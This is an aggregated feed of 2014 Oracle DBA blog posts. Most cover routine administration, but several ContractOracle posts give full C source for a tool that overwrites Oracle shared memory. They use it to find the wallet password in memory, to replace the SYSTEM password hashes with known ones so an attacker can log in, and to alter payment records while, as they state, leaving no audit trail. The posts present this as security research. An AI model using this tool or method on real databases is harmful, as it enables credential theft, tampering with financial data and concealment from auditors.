DBA Blogs

Oracle encryption wallet password found in SGA

ContractOracle - Sun, 2014-07-13 21:51
If companies are worried about data privacy or leakage, they are often recommended to encrypt sensitive data inside Oracle databases to stop DBAs from accessing it, and implement "separation of duties" so that only the application or data owner has the encryption keys or wallet password.  One method to encrypt data is to use Oracle Transparent Database Encryption which stores keys in the Oracle wallet protected by a wallet password.  Best practice dictates using a very long wallet password to avoid rainbow tables and brute force attacks, and keep the key and password secret.

I wrote a simple program to search for data in Oracle shared memory segments, and it was able to find the Oracle wallet password, which means anyone who can connect to the shared memory can get the wallet password and access the encrypted data.  The following demonstrates this :-

First open and close the wallet using the password :-


CDB$ROOT@ORCL> alter system set encryption wallet open identified by "verylongverysecretwalletpassword1";

System altered.

CDB$ROOT@ORCL> alter system set wallet close identified by "verylongverysecretwalletpassword1";

System altered.


Now search for the wallet password in SGA :-

oracle@localhost shared_memory]$ ./sga_search verylongverysecretwalletpassword1
USAGE :- sga_search searchstring


Number of input parameters seem correct.
SEARCH FOR   :- verylongverysecretwalletpassword1
/dev/shm/ora_orcl_35258369_30 found string at 3473189
verylongverysecretwalletpassword1

The search found the password in SGA, so it should be possible to analyse the memory structure that currently stores the known password, and create another program to directly extract passwords on unknown systems.  It may also be possible to find the password by selecting from v$ or x$ tables.  I have not done that analysis, so don't know how difficult it would be, but if the password is stored, it will be possible to extract it, and even if it is mixed up with a lot of other sql text and variables it would be very simple to just try opening the wallet using every string stored in SGA.

The password is still in SGA after flushing the buffer cache.

CDB$ROOT@ORCL> alter system flush buffer_cache;

System altered.


[oracle@localhost shared_memory]$ ./sga_search verylongverysecretwalletpassword1
USAGE :- sga_search searchstring


Number of input parameters seem correct.
SEARCH FOR   :- verylongverysecretwalletpassword1
/dev/shm/ora_orcl_35258369_30 found string at 3473189
verylongverysecretwalletpassword1


After flushing the shared pool the password is no longer available.  

CDB$ROOT@ORCL> alter system flush shared_pool;

System altered.


[oracle@localhost shared_memory]$ ./sga_search verylongverysecretwalletpassword1
USAGE :- sga_search searchstring


Number of input parameters seem correct.
SEARCH FOR   :- verylongverysecretwalletpassword1
[oracle@localhost shared_memory]$ 

As this password really should be secret, Oracle really should not store it.   More research is needed to confirm if the password can be hidden by using bind variables, obfuscation, or wrapping it in plsql.
Categories: DBA Blogs

ASM Startup Fails With ORA-04031 After Adding CPUs

Don Seiler - Sun, 2014-07-13 15:11
A few weeks ago we upgraded one of our production server, adding another CPU tray. This brought the number of CPU cores from 80 to 160, and took us from 2Tb of RAM to 4Tb (just in time for Oracle to announce the in-memory database in 12.1.0.2!).

However when I went to start things up, ASM wasn't starting up, giving me these errors:

ORA-04031: unable to allocate 32 bytes of shared memory ("shared pool","unknown object","KKSSP^550","kglseshtSegs")
ORA-04031: unable to allocate 392 bytes of shared memory ("shared pool","unknown object","sga heap(1,1)","kdlwss")

ORA-04031: unable to allocate 560 bytes of shared memory ("shared pool","unknown object","sga heap(1,1)","KKSSP")
RBAL (ospid: 59427): terminating the instance due to error 4031




A quick search of MOS turned up this gem:

Unable To Start ASM (ORA-00838 ORA-04031) On 11.2.0.3/11.2.0.4 If OS CPUs # > 64. (Doc ID 1416083.1), with this cause:
In 11.2.0.3/11.2.0.4, the "PROCESSES" parameter will be default to "available CPU cores * 80 + 40" (in the ASM spfile). As the default value for "MEMORY_TARGET" is based on "PROCESSES", it can be insufficient if there is a large number of CPU cores or large number of diskgroups which could cause issues (i.e. Grid Infrastructure stack fails to stop with ORA-04031 etc) per Bug:13605735 & Bug:12885278, it is recommended to increase the value of MEMORY_MAX_TARGET & MEMORY_TARGET before upgrading/installing to 11.2.0.3/11.2.0.4 (does not apply to 10g ASM).
We followed the workaround of increasing the ASM memory_target (and memory_max_size) to 4Gb (from 500Mb) and things started up just fine.

We've since actually increased the memory even more in ASM to see even better performance but I haven't taken the time yet to precisely understand where that is coming from. I'll be sure to write another post to detail that.

For now we're definitely enjoying the bigger shared pool and buffer caches in 11.2. We're definitely excited to dig into the in-memory options in the upcoming 12.1.0.2.
Categories: DBA Blogs

OTN Latin America Tour, 2014

Hans Forbrich - Fri, 2014-07-11 18:12
The dates, and the speakers, for the Latin America Tour have been anounnced.

http://www.oracle.com/technetwork/es/community/user-groups/otn-latinoamerica-tour-2014-2213115-esa.html


Categories: DBA Blogs

How to directly update Oracle password hashes in SGA while avoiding DB security and audit.

ContractOracle - Fri, 2014-07-11 04:22
My previous blog posts showed it was possible to directly update table data in the SGA and bypass audit and database level security.    The following example expands on that to show how to modify password hashes in the SGA to allow connection to the database without changing passwords in datafiles.

Basically we updated the password hashes in SGA to known values for user SYSTEM using the following 3 commands :-

./sga_data_replace 09F3A178C7F6F650 E235D5FC5165F1EC

./sga_data_replace 5550E8A22A9137A65F53EE87DF92415016E8CAFAFAFCE861CEF6D6403BC0 319C0B95B6F463C53B5375556C34B54A80C346529CBBBB68268F361DC179


./sga_data_replace 076F596A5F2AD47593407D24734BF6C0 E30710ABA2D3492243C239A8854B4E21


Output from the DB side is as follows.

First generate a set of password hashes for user SYSTEM with password "badguy".

CDB$ROOT@ORCL> alter user system identified by badguy;

User altered.


CDB$ROOT@ORCL> select password, spare4 from user$ where name = 'SYSTEM';

PASSWORD
--------------------------------------------------------------------------------
SPARE4
--------------------------------------------------------------------------------
E235D5FC5165F1EC
S:319C0B95B6F463C53B5375556C34B54A80C346529CBBBB68268F361DC179;H:E30710ABA2D3492243C239A8854B4E21

Next find the password hashes that need to be replaced.  Below we use sqlplus to extract them from user$, but we could also read them directly from datafile or SGA without logging into the database.

CDB$ROOT@ORCL> alter user system identified by goodguy;

User altered.

CDB$ROOT@ORCL> select password, spare4 from user$ where name = 'SYSTEM';

PASSWORD
--------------------------------------------------------------------------------
SPARE4
--------------------------------------------------------------------------------
09F3A178C7F6F650
S:5550E8A22A9137A65F53EE87DF92415016E8CAFAFAFCE861CEF6D6403BC0;H:076F596A5F2AD47593407D24734BF6C0

Demonstrate login using the "goodguy" password.

CDB$ROOT@ORCL> connect system/goodguy;
Connected.

Now replace the password hashes in SGA with the known password hashes for password "badguy".

./sga_data_replace 09F3A178C7F6F650 E235D5FC5165F1EC

./sga_data_replace 5550E8A22A9137A65F53EE87DF92415016E8CAFAFAFCE861CEF6D6403BC0 319C0B95B6F463C53B5375556C34B54A80C346529CBBBB68268F361DC179


./sga_data_replace 076F596A5F2AD47593407D24734BF6C0 E30710ABA2D3492243C239A8854B4E21


And test to confirm that we can now login using password "badguy".

CDB$ROOT@ORCL> connect system/badguy;
Connected.

This shows that the password hash values in SGA were updated, and the database did not crash, or detect the data change, and allowed direct login with the modified hashes.  Since the change was only made to data in memory, there is no audit record, and no evidence in datafiles (unless a transaction updates the modified blocks and commits them back to disk).  It would also be possible to back-out the changes made to SGA to the original hash values to cover up completely.

Sample output from the first SGA update command above follows :-

[oracle@localhost shared_memory]$ ./sga_data_replace 09F3A178C7F6F650 E235D5FC5165F1EC



WARNING WARNING WARNING


This program may crash or corrupt your Oracle database!!! It was written purely as an investigative tool and the author does not guarantee it will work, and does not recommend running it against PROD databases. Anyone may copy or modify the code provided.


USAGE :- sga_data_replace searchstring replacestring


Number of input parameters seem correct.
Length of search parameter 09F3A178C7F6F650 matches replace parameter E235D5FC5165F1EC
This program will connect to all shared memory segments in /dev/shm belonging to all running databases on the server.
SEARCH FOR   :- 09F3A178C7F6F650
REPLACE WITH :- E235D5FC5165F1EC
Enter Y to continue :- Y
/dev/shm/ora_orcl_20381697_76 replace string at 2099160
replace 0 with E
replace 9 with 2
replace F with 3
replace 3 with 5
replace A with D
replace 1 with 5
replace 7 with F
replace 8 with C
replace C with 5
replace 7 with 1
replace F with 6
replace 6 with 5
replace F with F
replace 6 with 1
replace 5 with E
replace 0 with C
/dev/shm/ora_orcl_20381697_76 replace string at 2271972
replace 0 with E
replace 9 with 2
replace F with 3
replace 3 with 5
replace A with D
replace 1 with 5
replace 7 with F
replace 8 with C
replace C with 5
replace 7 with 1
replace F with 6
replace 6 with 5
replace F with F
replace 6 with 1
replace 5 with E
replace 0 with C
/dev/shm/ora_orcl_20381697_76 replace string at 2320344
replace 0 with E
replace 9 with 2
replace F with 3
replace 3 with 5
replace A with D
replace 1 with 5
replace 7 with F
replace 8 with C
replace C with 5
replace 7 with 1
replace F with 6
replace 6 with 5
replace F with F
replace 6 with 1
replace 5 with E
replace 0 with C
/dev/shm/ora_orcl_20381697_75 replace string at 994020
replace 0 with E
replace 9 with 2
replace F with 3
replace 3 with 5
replace A with D
replace 1 with 5
replace 7 with F
replace 8 with C
replace C with 5
replace 7 with 1
replace F with 6
replace 6 with 5
replace F with F
replace 6 with 1
replace 5 with E
replace 0 with C
/dev/shm/ora_orcl_20381697_68 replace string at 2624228
replace 0 with E
replace 9 with 2
replace F with 3
replace 3 with 5
replace A with D
replace 1 with 5
replace 7 with F
replace 8 with C
replace C with 5
replace 7 with 1
replace F with 6
replace 6 with 5
replace F with F
replace 6 with 1
replace 5 with E
replace 0 with C
/dev/shm/ora_orcl_20381697_37 replace string at 450614
replace 0 with E
replace 9 with 2
replace F with 3
replace 3 with 5
replace A with D
replace 1 with 5
replace 7 with F
replace 8 with C
replace C with 5
replace 7 with 1
replace F with 6
replace 6 with 5
replace F with F
replace 6 with 1
replace 5 with E
replace 0 with C
/dev/shm/ora_orcl_20381697_35 replace string at 695886
replace 0 with E
replace 9 with 2
replace F with 3
replace 3 with 5
replace A with D
replace 1 with 5
replace 7 with F
replace 8 with C
replace C with 5
replace 7 with 1
replace F with 6
replace 6 with 5
replace F with F
replace 6 with 1
replace 5 with E
replace 0 with C
Error: File is empty, nothing to do
Categories: DBA Blogs

C program to find/replace data in Oracle SGA.

ContractOracle - Fri, 2014-07-11 03:49
Following is a proof of concept program to change data in Oracle shared memory mapped to /dev/shm
It uses shm_open and mmap to cleanly open and close the existing shared files, search for a string, and replace it.   I have tested it on Linux against Oracle 12C databases, changing data in SGA without crashing the database, but it should also work against 11g.  It won't work against Oracle versions prior to 11g as they manage shared memory in a different manner (Sample program here ).

I am happy for anyone to copy and/or modify this code, but be aware that this program has the potential to crash or corrupt any database on the server where it is run.  Sample output can be found here.

To compile it on Linux :-

gcc sga_data_replace.c -o sga_data_replace -lrt

Note that this blog may strip out some symbols, so if you have issues compiling please check syntax (especially in the include section).

[oracle@localhost shared_memory]$ more sga_data_replace.c
#include stdio.h
#include stdlib.h
#include ctype.h
#include dirent.h
#include string.h
#include unistd.h
#include sys/file.h
#include sys/mman.h

replace_sga(char search_string[],char replace_string[])
{
  DIR           *d;
  struct dirent *dir;
  char *data;
  char *memname;
  int i,j;
  int search_length = strlen(search_string);
  int replace_length = strlen(replace_string);
  d = opendir("/dev/shm");

  if (d)
  {
    while ((dir = readdir(d)) != NULL)
    {
      memname = dir->d_name;
      if (strstr(memname,"ora"))
      {
        //printf("Opening %s\n",memname);
        int fd = shm_open(memname, O_RDWR, 0660);

        if (fd == -1)
        {
          perror("Error opening file for reading");
          exit(EXIT_FAILURE);
        }

        struct stat fileInfo = {0};

        if (fstat(fd, &fileInfo) == -1)
        {
          perror("Error getting the file size");
          exit(EXIT_FAILURE);
        }

        if (fileInfo.st_size == 0)
        {
          fprintf(stderr, "Error: File is empty, nothing to do\n");
          exit(EXIT_FAILURE);
        }

        data = mmap(0, fileInfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

        if (data == MAP_FAILED)
        {
          close(fd);
          perror("Error mmapping the file");
          exit(EXIT_FAILURE);
        }

        for (i = 0; i < fileInfo.st_size; i++)
        {
          for (j = 0; j < replace_length; j++)
          {
            if (data[i+j] != search_string[j])
              break;
          }

          if (j==replace_length)
          {
            printf("/dev/shm/%s replace string at %d\n",memname,i);
            for (j = 0; j < replace_length; j++)
            {
              printf("replace %c with %c\n",data[i+j],replace_string[j]);
              data[i+j] = replace_string[j];                  
            }
          }
        }
        close(fd);
      }
    }
  }
  closedir(d);
}

int main(int argc, char *argv[])
{
printf("\n\n\nWARNING WARNING WARNING\n\n\n");
printf("This program may crash or corrupt your Oracle database!!! ");
printf("It was written purely as an investigative tool and the author does not guarantee it will work, and does not recommend running it against PROD databases. ");
printf("Anyone may copy or modify the code provided.\n\n\n");
printf("USAGE :- sga_data_replace \n\n\n");

  if (argc == 3 && strlen(argv[1]) == strlen(argv[2]))
  {
    printf("Number of input parameters seem correct.\n");
    printf("Length of search parameter %s matches replace parameter %s\n",argv[1],argv[2]);
    printf("This program will connect to all shared memory segments in /dev/shm belonging to all running databases on the server.\n");
    printf("SEARCH FOR   :- %s\n",argv[1]);
    printf("REPLACE WITH :- %s\n",argv[2]);
    printf("Enter Y to continue :- ");

    char    user_input;
    scanf("  %c", &user_input );
    user_input = toupper( user_input );
    if(user_input == 'Y')
    {
      replace_sga(argv[1],argv[2]);
    }
  }
  else
  {
    printf("The program expects two parameters the same number of characters.\n");
  }
  return 0;
}

Categories: DBA Blogs

Sample output from program to update data in Oracle shared memory.

ContractOracle - Fri, 2014-07-11 03:45
Following is an example of updating Oracle data in shared memory.

From the database side we can see that only the data in SGA was changed, and the data on disk remained untouched.  (verified by flushing the buffer cache and forcing a re-read from disk)


CDB$ROOT@ORCL> create table test (text char(6));

Table created.

CDB$ROOT@ORCL> insert into test values ('vendor');

1 row created.

CDB$ROOT@ORCL> commit;

Commit complete.

CDB$ROOT@ORCL> select * from test;

TEXT
------
badguy

CDB$ROOT@ORCL> alter system flush buffer_cache;

System altered.

CDB$ROOT@ORCL> select * from test;

TEXT
------
vendor



Following is sample output from my program to update data in Oracle shared memory.  In this case it connected to every shared memory file in /dev/shm and replaced all strings "vendor" with "badguy".

[oracle@localhost shared_memory]$ ./sga_data_replace vendor badguy



WARNING WARNING WARNING


This program may crash or corrupt your Oracle database!!! It was written purely as an investigative tool and the author does not guarantee it will work, and does not recommend running it against PROD databases. Anyone may copy or modify the code provided.


USAGE :- sga_data_replace searchstring replacestring


Number of input parameters seem correct.
Length of search parameter vendor matches replace parameter badguy
This program will connect to all shared memory segments in /dev/shm belonging to all running databases on the server.
SEARCH FOR   :- vendor
REPLACE WITH :- badguy
Enter Y to continue :- Y
/dev/shm/ora_orcl_20381697_91 replace string at 366592
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
/dev/shm/ora_orcl_20381697_82 replace string at 3238216
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
/dev/shm/ora_orcl_20381697_75 replace string at 2230653
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
/dev/shm/ora_orcl_20381697_73 replace string at 1361711
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
/dev/shm/ora_orcl_20381697_73 replace string at 1361718
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
/dev/shm/ora_orcl_20381697_62 replace string at 1081334
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
Error: File is empty, nothing to do

Categories: DBA Blogs

Direct update of Oracle data in SGA to avoid audit.

ContractOracle - Thu, 2014-07-10 05:42
Vendors sell some rather expensive software for auditing Oracle database, and coding applications to ensure an audit trail, but the truth is that anyone logged into the database server as the owner of the database can directly modify data in datafiles, or even in memory.

I previously demonstrated using BBED to update blocks in datafiles, but it was necessary to update block checksums and flush the buffer cache to activate the changes.  Modifying data in SGA directly is easier, and leaves less evidence.  

It seems that once data is read into the SGA, Oracle does not use checksums to look for corruption, and it is also possible to modify uncommitted data.  I have written a simple C program to update SGA directly.

Here is one example demonstrating how even uncommitted data can be updated in the SGA.  The same thing can be done to any data in the SGA, including password hashes, credit card numbers, email addresses etc.

PDB1@ORCL> create table payment_batch (payee char(6));

Table created.

PDB1@ORCL> insert into payment_batch values ('vendor');

1 row created.

PDB1@ORCL> select * from payment_batch;

PAYEE
------
badguy

PDB1@ORCL> commit;

Commit complete.

PDB1@ORCL> alter system flush buffer_cache;

System altered.

PDB1@ORCL> select * from payment_batch;

PAYEE
------
badguy

You can see that in the middle of this transaction it was possible to modify the in-flight data stored in SGA, which was then committed to disk.  This was done via a direct update to SGA records on the DB server.
Categories: DBA Blogs

GoldenGate Active-Active Database Replication with Conflict Detection and Resolution

VitalSoftTech - Tue, 2014-07-08 14:46
Bi-Directional Replication also known as Active-Active Replication, is a configuration where both databases are used as an active site and applications perform DML/DDL activities on both Databases. The OGG processes is configured to replicate the transaction data of both the source databases back and forth to each other. 1. Advantages Bi-directional GoldenGate Replication can be […]
Categories: DBA Blogs

C program to dump shared memory segments to disk on Linux.

ContractOracle - Tue, 2014-07-08 02:26
The following program was written to help investigate Oracle database shared memory on Linux.  It dumps the contents of existing shared memory segments to files on disk.  Note that it won't work against Oracle 11g and 12C databases as they use mmap instead of shmat for managing shared memory.  Sample program for reading from 11g and 12C here (mmap example )

Compile it using "gcc -o shared shared.c"  It is free for anyone to copy or modify as they wish, but I do not guarantee the functionality.

Check the format of the include listings below as I had to remove hashes and greater-than/less-than symbols to keep blogger happy.

include stdio.h
include stdlib.h
include sys/shm.h


int main (int argc, char *argv[]) {
    int maxkey, id, shmid = 0;
    struct shm_info shm_info;
    struct shmid_ds shmds;
    void * shared_data;
    FILE * outfile;
    
    maxkey = shmctl(0, SHM_INFO, (void *) &shm_info);
    for(id = 0; id <= maxkey; id++) {
        shmid = shmctl(id, SHM_STAT, &shmds);
        char shmidchar[16];
        snprintf(shmidchar, sizeof(shmidchar), "%d", shmid);
        if (shmid < 0)
            continue;
        if(shmds.shm_segsz > 0) {
            printf("Shared memory segment %s found.\n",shmidchar);
            
            shared_data = shmat(shmid, NULL, 0666);
            if(shared_data != NULL) {
                outfile = fopen(shmidchar, "wb");
                if(outfile == NULL) {
                    printf("Could not open file %s for writing.", shmidchar);
                }
                else {
                    fwrite(shared_data, shmds.shm_segsz, 1, outfile);
                    fclose(outfile);
                    
                    printf("Dumped to file %s\n\n", shmidchar);
                }
            }
        }
    }
}



Categories: DBA Blogs

How to Solve: SQL Developer can’t start because MSVCR71.dll is missing (On Windows)

Oracle NZ - Sun, 2014-07-06 20:42

I have installed SQL Developer (with JDK) on Windows many times before, and almost all the time I receive the system error bellow when trying to execute it by the first time. Due to this, I decided to publish the solution to this annoying issue.

error_sqldeveloper

We can easily fix this issue by following these simple steps:

  1. Run regedit (remember to run it as the administrator)
  2. Expand HKEY_LOCAL_MACHINE
  3. Expand SOFTWARE
  4. Expand Microsoft
  5. Expand Windows
  6. Expand CurrentVersion
  7. Expand App Paths
  8. At App Paths, add a new KEY called sqldeveloper.exe
  9. Expand sqldeveloper.exe
  10. Modify the (DEFAULT) value to the full pathway to the sqldeveloper executable (See example below step 11)
  11. Create a new STRING VALUE called Path and set it value to the sqldeveloper pathway + \jdk\jre\bin                                                                                                                                                                                                                                                                                                             regedit
  12. After the step 11 is completed, please enjoy your SQLDEVELOPER Smile

works

Hope this tip would help you to solve this issue too!

 

Regards,

 

Francisco Munoz Alvarez



Tags:  

Del.icio.us
Facebook
TweetThis
Digg
StumbleUpon

Copyright © OracleNZ by Francisco Munoz Alvarez [How to Solve: SQL Developer can’t start because MSVCR71.dll is missing (On Windows)], All Right Reserved. 2016.
Categories: DBA Blogs

How The Oracle Database Determines Wait Time When It's Not Set

This page has been permanently moved. Please CLICK HERE to be redirected.

Thanks, Craig.Have you ever wondered how the Oracle Database 12c (and earlier versions) determines the wait time when it has absolutely no control over how long the wait will take? If so, then read on!

The Back Story
Using wait time is part of an Oracle Time Based Analysis (OTBA). While Oracle process CPU consumption is a big part of the analysis, the other category is non-idle wait time.

You can see the two categories of time clearly "in action" with my Real-Time Session Sampler script, rss.sql. It's part of my OraPub System Monitor (OSM) toolkit, that can be downloaded for free. Here's an example of the output:


I need to  explain a little more about CPU time and then Oracle wait time.

An Oracle processes wants to burn CPU. Without consuming CPU an Oracle process, can well...not process work! Oracle keeps track of the CPU consumption time. It's the actual CPU time consumed, for example, 500 ms or 3 seconds.

When an Oracle process can not burn CPU, the process, in Oracle terms, it must wait. For example, when an Oracle process waits, it's like it yells out details about why it's waiting. We call this yell a wait event. Each wait event has a name. And the name provides clues about why the process can't burn CPU and is therefore waiting.

There Are Different Reasons Why An Oracle Process Waits
There are three broad categories Oracle must time, when a process is not consuming CPU:
  1. When the wait time is predetermined and not interruptible. Perhaps when a latch can not be acquired through repeated attempts so the process takes a break (i.e., sleeps) for a fix period of time, say 10ms.
  2. When the wait time is predetermined but the process can be woken by another process. Perhaps a log writer is in the middle of its three second sleep and then a server process commits. The log writer will be signaled to wake and do some work.
  3. When Oracle has no idea how long the wait may last. Perhaps a process submitted a block to the IO subsystem for a synchronous read. Oracle has no idea how long this may take. This situation is what I'm focusing on in this posting and I show in the video below.
Exploring When Oracle Has No Idea How Long The Wait Will Take
Let's say when I work it's like an Oracle process consuming CPU. And if I have to stop working to drive to a meeting, it's like an Oracle process waiting. And in this situation,  I really don't know how long the wait will take. It's out of my control. There could be an accident along the way (think: table level lock)! An Oracle process can experience this same kind of thing.

If I'm an Oracle server process and I discover a block I need is not in the buffer cache, I'm going to need to make a call to the OS for that block. When I make the synchronous IO call, I really do not know how long it will take and I have to wait, that is, the Oracle process must wait.

From a DBA perspective, when I perform an Oracle Time Based Analysis (OTBA) I need know how long the IO, that is, the wait took. How does Oracle figure this out? It's pretty simple actually. It's basiclly like this:
  • Get the current time, start time
  • Make the synchronous IO call and wait until IO received
  • Get the current time, end time
  • Calculate the delta, end time - start time
The "delta" is the wait time for the single block read. If the single block read is a synchronous read and then placed into the buffer cache, Oracle will tag or name the wait time calling it a "db file sequential read".

Actually Watching An Oracle Process Figuring Out the Wait Time
Some say that seeing is believing. For sure it helps one to learn quickly. If you want to see with your own eyes an Oracle server process determine wait time for a multiple block synchronous read (event name is, db file scattered read), watch the below video.



Pretty cool, eh? By the way, the processing of timing processes and events has a special name, called instrumentation. As we can see, Oracle has instrumented its kernel code.

Enjoy your work and thanks for reading!

Craig.
Categories: DBA Blogs

Penetration Testing A Hands-On Introduction to Hacking

Surachart Opun - Sun, 2014-06-29 04:47
Assessing overall security on a new system before it goes on-line is also a good idea. It's useful to find holes before somebody else does, verify secure configurations and testing.  Penetration Testing is the process of attempting to gain access to resources without knowledge of credentials and find security weaknesses (Interesting paper).
Penetration Testing A Hands-On Introduction to Hacking By Georgia Weidman. A book was written about the basic of Penetration testing. It gave concepts, ideas, and techniques in 5 parts: The Basics, Assessments, Attacks, Exploit Development and Mobile Hacking.
  • Crack passwords and wireless network keys with brute-forcing and wordlists
  • Test web applications for vulnerabilities
  • Use the Metasploit Framework to launch exploits and write your own Metasploit modules
  • Automate social-engineering attacks
  • Bypass antivirus software
  • Turn access to one machine into total control of the enterprise in the post exploitation phase
First of all, Readers must set up their Virtual lab by using Kali linux. A book gave lots of ideas, examples how to use Tools for Penetration Testing. It's very good book for some people who are new with Penetration Testing. It might not cover everything about Penetration Testing, or gave the deeply knowledge. However, it helps readers are able to understand in Penetration testing easily and practice in examples.

Categories: DBA Blogs

The Hitchhiker’s Guide to the EXPLAIN PLAN: The story so far (Part 1–10)

Iggy Fernandez - Sat, 2014-06-28 16:13
On the Toad World site, I’m writing a series of blog posts and articles on the subject of EXPLAIN PLAN. I’m using EXPLAIN PLAN as a motif to teach not just SQL tuning but also relational theory, logical database design, and physical database design. In a year’s time, I hope to have enough material for a […]
Categories: DBA Blogs

Editor’s Choice award at ODTUG Kscope14: NoSQL and Big Data for the Oracle Professional

Iggy Fernandez - Sat, 2014-06-28 08:42
My paper on NoSQL and Big Data won the Editor’s Choice award at ODTUG Kscope14. Here are some key points from the paper: The relational camp made serious mistakes that limited the performance and usefulness of the relational model. NoSQL is based on the incorrect premise that tables in the relational model must be mapped to […]
Categories: DBA Blogs

The Art of War for Small Business

Surachart Opun - Mon, 2014-06-23 11:51
The Art of War is an ancient Chinese military treatise attributed to Sun Tzu, a high-ranking military general, strategist and tactician. A lot of books have written by using Sun Tzu's ancient The Art of War and adaptation for military, political, and business.

The Art of War for Small Business Defeat the Competition and Dominate the Market with the Masterful Strategies of Sun Tzu, this is a book was applied the Art of War for small business. So, it's a perfect book for small business owners and entrepreneurs entrenched in fierce competition for customers, market share, talent and etc. In a book, it was written with 4 parts with 224 pages - SEIZE THE ADVANTAGE WITH SUN TZU, UNDERSTANDING: ESSENTIAL SUN TZU, PRINCIPLES FOR THE BATTLEFIELD, ADVANCED SUN TZU: STRATEGY FOR YOUR SMALL.
It's not much pages for read and it begins with why the art of war should be used with the small business and gives lot of examples and idea how to apply the art of war with the small business and use it everyday (It helps how to Choose the right ground for your battles, Prepare without falling prey to paralysis, Leverage strengths while overcoming limitations, Strike competitors' weakest points and seize every opportunity, Focus priorities and resources on conquering key challenges, Go where the enemy is not, Build and leverage strategic alliances).

After reading, readers should see the picture of  the common advantages and disadvantages in the small business and why the small business needs Sun Tzu. In additional, Readers will learn the basic of the art of war and idea to apply with the small business. It shows the example by giving the real world of small business.




Categories: DBA Blogs

Move That Datafile!

alt.oracle - Thu, 2014-06-19 15:56
Moving datafiles has always been a pain.  There are several steps, it’s fairly easy to make a mistake and it requires the datafile to be offline.  There are also different steps depending on whether the database is in ARCHIVELOG mode or not.  In ARCHIVELOG mode, the steps are…

1)      Take the tablespace containing the datafile offline
2)      Copy/rename the datafile at the OS layer
3)      Use ALTER TABLESPACE…RENAME DATAFILE to rename the datafile so that the controlfile will be aware of it
4)      Backup the database for recovery purposes (recommended)

If the database is in NOARCHIVELOG mode, you have to shutdown the DB, put it in the MOUNT state, etc, etc.  That’s certainly not that hard to do, but you get the feeling that there should be a better way.  Now in Oracle 12c, there is – using the ALTER DATABASE MOVE DATAFILE command.  With this command, you can move a datafile, while it’s online, in one simple step.  Let’s set this up.

SQL> create tablespace test datafile '/oracle/base/oradata/TEST1/datafile/test01.dbf' size 10m;

Tablespace created.

SQL> create table altdotoracle.tab1 (col1 number) tablespace test;

Table created.

SQL> insert into altdotoracle.tab1 values (1);

1 row created.

SQL> commit;

Commit complete.

Let’s go the extra mile and lock the table in that datafile in another session.

SQL> lock table altdotoracle.tab1 in exclusive mode;

Table(s) Locked.

Now let’s use the command.

SQL> alter database move datafile '/oracle/base/oradata/TEST1/datafile/test01.dbf'
  2   to '/oracle/base/oradata/TEST1/datafile/newtest01.dbf';

Database altered.

That’s all there is to it.  Datafile moved/renamed in one step while a table it contained was locked.

SQL> select file_name from dba_data_files where file_name like '%newtest%';

FILE_NAME
--------------------------------------------------------------------------------
/oracle/base/oradata/TEST1/datafile/newtest01.dbf
Categories: DBA Blogs

Intermediate Python Practical Techniques for Deeper Skill Development

Surachart Opun - Thu, 2014-06-19 10:40
It's time to learn more about Python. I found "Intermediate Python Practical Techniques for Deeper Skill Development" video course by Python expert Steve Holden.
It's very useful for Python video learning, but users should have basic about Python. They must install ipython.
Note start ipython by " ipython  notebook" command and users can check how to install ipython?and users should download example codes at https://github.com/DevTeam-TheOpenBastion/int-py-notes

This video course gaves deeply Python learning topics by using iPython, including:

  • Functions: return values, arguments, decorators, and the function API
  • Comprehensions, generator functions, and generator expressions
  • Understanding the import system and namespace relationships
  • Using the Python DB API to query and maintain relational data, and JSON to extract data from the Web
  • The NumPy, SciPy, and Matplotlib libraries for numerical and analytical computing
  • An introduction to unit testing with unit test
  • Deeper understanding of Unicode, with explanations of encoding and decoding techniques and the relationship between byte strings and text
  • An introduction to textual analysis using regular expressions
  • Information sources for documentation, further research, and coding style considerations

First of all, Users should install "ipython" and download examples codes. Users will be able to learn Python each topic easier, because it's easy to follow each example demo in video. It's very good to use this video course and iPython for Python improvement.

Categories: DBA Blogs

Oracle GoldenGate Data Transformation

VitalSoftTech - Tue, 2014-06-17 22:05
Oracle GoldenGate supports data mapping and manipulation. It is done by using options of Table (Extract) and Map (Replicat) parameters. By default OGG assumes that SOURCE and TARGET table definitions are same that part of replication.
Categories: DBA Blogs

The Hitchhiker’s Guide to the EXPLAIN PLAN (Act II)

Iggy Fernandez - Mon, 2014-06-16 14:04
Over at ToadWorld: Part 5: SQL Sucks! Part 6: Trees Rule Part 7: Don’t pre-order your EXPLAIN PLAN Part 8: Tree Menagerie Bonus article: Equivalence of Relational Algebra and Relational Calculus The story so far: A relational database is “a database in which: the data is perceived by the user as tables (and nothing but tables)  and […]
Categories: DBA Blogs

Oracle 12c Last Login time for Non-Sys Users

VitalSoftTech - Tue, 2014-06-10 09:45
Oracle 12c introduced a new, very useful security feature to store and display the last login information for non-sys users, logging in via SQL*PLUS. The last login time is displayed in the banner by default when we log into the database using SQL*PLUS in 12c. Related Articles • Oracle 12c: Data Redaction Unified Auditing Extended SHA-2 […]
Categories: DBA Blogs

Pages

Subscribe to Oracle FAQ aggregator - DBA Blogs